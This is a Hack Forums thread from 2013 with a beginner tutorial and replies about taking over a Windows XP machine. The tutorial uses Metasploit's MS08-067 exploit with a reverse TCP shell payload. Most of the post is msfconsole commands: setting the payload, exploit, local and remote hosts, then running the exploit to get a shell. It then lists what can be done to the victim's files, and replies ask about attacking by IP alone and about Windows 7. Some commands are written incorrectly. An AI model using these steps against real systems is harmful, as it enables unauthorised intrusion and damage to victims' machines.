

Forum:[Hack Forums](#)

Thread: [\[TUT\] ? Hack Windows XP using Backtrack 5 ?\[PICS\]](#)

Bohemia - January 25, 2013, 1:15 am

Hello Hack Forums, Today I am going to explain how to Hack into a Windows XP using Backtrack5. This tutorial is specially for the newbies and I have explained accordingly in a Noobish manner.

NOTE: Before reading the tutorial please make sure you have atleast basic knowledge about Backtrack5.

Requirements: VM Ware, BT, Windows XP Virtual Machine & A bit of concentration.

Lets begin.

- Start Backtrack
- Type "Startx" To enter GUI mode of Backtrack.

Step I- Open terminal and write msfconsole
msf > msfconsole

When you open msfconsole ,it will show this type of interface

Step II- In this step , first set the payload to set payload write
msf > set payload windows/shell/reverse_tcp

Step III- Here, set the exploit. Write as shown below -
msf > set exploit/windows/smb/ms08_067_netapi

Step IV- Now set lhost and rhost , Here lhost is the local host and rhost is the remote host .See the above image how I set lhost & rhost.

Setting Local Host

Syntax: set lhost <our own address>
Code Example:

```
msf > exploit(ms08_067_netapi) >lhost 192.168.127.131
Setting Remote Host
Code Syntax : set rhost <Remote or target ip address>
```

Example :

```
msf > exploit(ms08_067_netapi)>rhost 192.168.127.129
```

Step V; Now Enter show options

Code msf > exploit(ms08_067_netapi)> show options

Step VI; In this step it shows the LHOST(Local Host) AND RHOST(Remote Host) Settings.

Step VII- Exploit : In this step we are ready to exploit the Target .

To start exploit give the command :-

```
Code msf > exploit(ms08_067_netapi)>exploit
```

Exploit will be successfully executed. You can see the below image . In the image windows shell is showing on Backtrack 5.

Example I- Above you can see both the Operating System.You can see the windows Xp directories are showing in Backtrack 5 also.

EXAMPLE II- Here we make a new directory on Backtrack 5 using md command. We made a insanehax0r directory as shown on both Operating System.

We can also use systeminfo command to see the system information of windows xp.If you know how to use DOS, you can do anything with the victim's operating system, such as:

- ? You can copy files.
- ? You can delete files,
- ? You can create a new directory.
- ? You can make changes in his system.

[Info Source I](#) & [Info Source II](#) & Our very own Hackforums :D

Shout outs to >> [Chetan Soni](#) & [Lev Russia](#) !!

For any kind of query feel free to Post here. Please do not PM me as I do not have enough space yet OR Add me on skype insane_hax0r

DsntExist - January 25, 2013, 5:52 pm

Pretty simple tutorial for beginners. But on the other hand you also could explain WHY your doing what you're doing. Like why you chose the reverse tcp payload "set payload windows/shell/reverse_tcp" since it works better than bind payloads, what service you chose to exploit by scanning the windows XP machine in the first place. Doing something good and KNOWING what you're doing is the difference between being a script kiddie and a decent hacker.

?Dante - January 25, 2013, 7:10 pm

I've 'reported' your thread to be moved in the appropriate section as you requested here-

<https://hackforums.net/showthread.php?tid=3205942>

But try NOT to post useless threads just to move your thread. You can always contact 'moderators' and 'staff' for this. While you've our own 'report' function too. I did that for you bhai. ;)

Bohemia - January 25, 2013, 10:09 pm

(Jan 25, 2013 08:10 PM)dantehh Wrote: [\[CITE\]](#) I've 'reported' your thread to be moved in the appropriate section as you requested here-

<https://hackforums.net/showthread.php?tid=3205942>

But try NOT to post useless threads just to move your thread. You can always contact 'moderators' and 'staff' for this. While you've our own 'report' function too. I did that for you bhai. ;)

Ok sure, thanks bro will make sure nothing as such happens next time :D

Lev (???) - January 26, 2013, 12:12 am

seems u spent quite a time preparing this, nicely explained

GOOD JOB

I use the same method

Bohemia - January 26, 2013, 12:23 am

(Jan 25, 2013 06:52 PM)DsntExist Wrote: [\[CITE\]](#) Pretty simple tutorial for beginners. But on the other hand you also could explain WHY your doing what you're doing. Like why you chose the reverse tcp payload "set payload windows/shell/reverse_tcp" since it works better than bind payloads, what service you chose to exploit by scanning the windows XP machine in the first place. Doing something good and KNOWING what you're doing is the difference between being a script kiddie and a decent hacker.

First of all thanks for the honest review, this tells youve read the tutorial thoroughly.

This is my first tutorial btw so I couldnt be very detailed as I myself learnt this a week ago so just wanted to give back to HF asap, but next time I will make sure its more detailed with whys and hows.

Thanks bro. :)

Sonic Boom - January 26, 2013, 1:07 am

Very nice tutorial, but this only works when the XP machine is on a LAN, doesn't it?

Bohemia - January 26, 2013, 1:20 am

(Jan 26, 2013 02:07 AM)Cornelius Sunshine Wrote: [\[CITE\]](#) Very nice tutorial, but this only works when the XP machine is on a LAN, doesn't it?

Yes bro thats necessary, youre right ?

axmetmcl - January 26, 2013, 1:25 am

good tutorial friend thanks, do you have same thing for win7 64 bit?

Bohemia - January 26, 2013, 1:45 am

(Jan 26, 2013 02:25 AM)axmetmcl Wrote: [\[CITE\]](#) good tutorial friend thanks, do you have same thing for win7 64 bit?

No brother, its different.

[Check here](#) :)

?Dante - January 26, 2013, 3:27 am

(Jan 25, 2013 11:09 PM)vi5hal Wrote: [\[CITE\]](#) Ok sure, thanks bro will make sure nothing as such happens next time :D

Hmm. You can also checkout my thread too that I've posted yesterday. ;)

<https://hackforums.net/showthread.php?tid=3202618>

Regards.

-Dante ?

metalhck - January 26, 2013, 4:06 am

So it works directly and no need to send a server etc? only thing needed is his/her IP adress? any idea about windows 7 ?

axmetmcl - January 26, 2013, 4:32 am

(Jan 26, 2013 02:45 AM)vi5hal Wrote: [\[CITE\]](#) No brother, its different.

[Check here](#) :)

thanks a lot again bro:) could i talk with you on PM sometimes?

Bohemia - January 26, 2013, 5:18 am

(Jan 26, 2013 04:27 AM)dantehh Wrote: [\[CITE\]](#) Hmm. You can also checkout my thread too that I've posted yesterday. ;)

<https://hackforums.net/showthread.php?tid=3202618>

Regards.

-Dante ?

Sure bro I will ASAP.

Add me on skype insane_hax0r

(Jan 26, 2013 05:32 AM)axmetmcl Wrote: [\[CITE\]](#) thanks a lot again bro:) could i talk with you on PM sometimes?

Why not, thats not a problem buddy. Feel free to do so!

(Jan 26, 2013 05:06 AM)metalhck Wrote: [\[CITE\]](#) So it works directly and no need to send a server etc? only thing needed is his/her IP adress? any idea about windows 7 ?

Yes direct.

Windows 7 is different, you can refer to my reply to axmetmcl.

eliazz0n - January 26, 2013, 8:27 am

Thank you for taking your time making this tut, appreciate it!

Bohemia - January 26, 2013, 12:59 pm

Thanks, will post a few more sooner.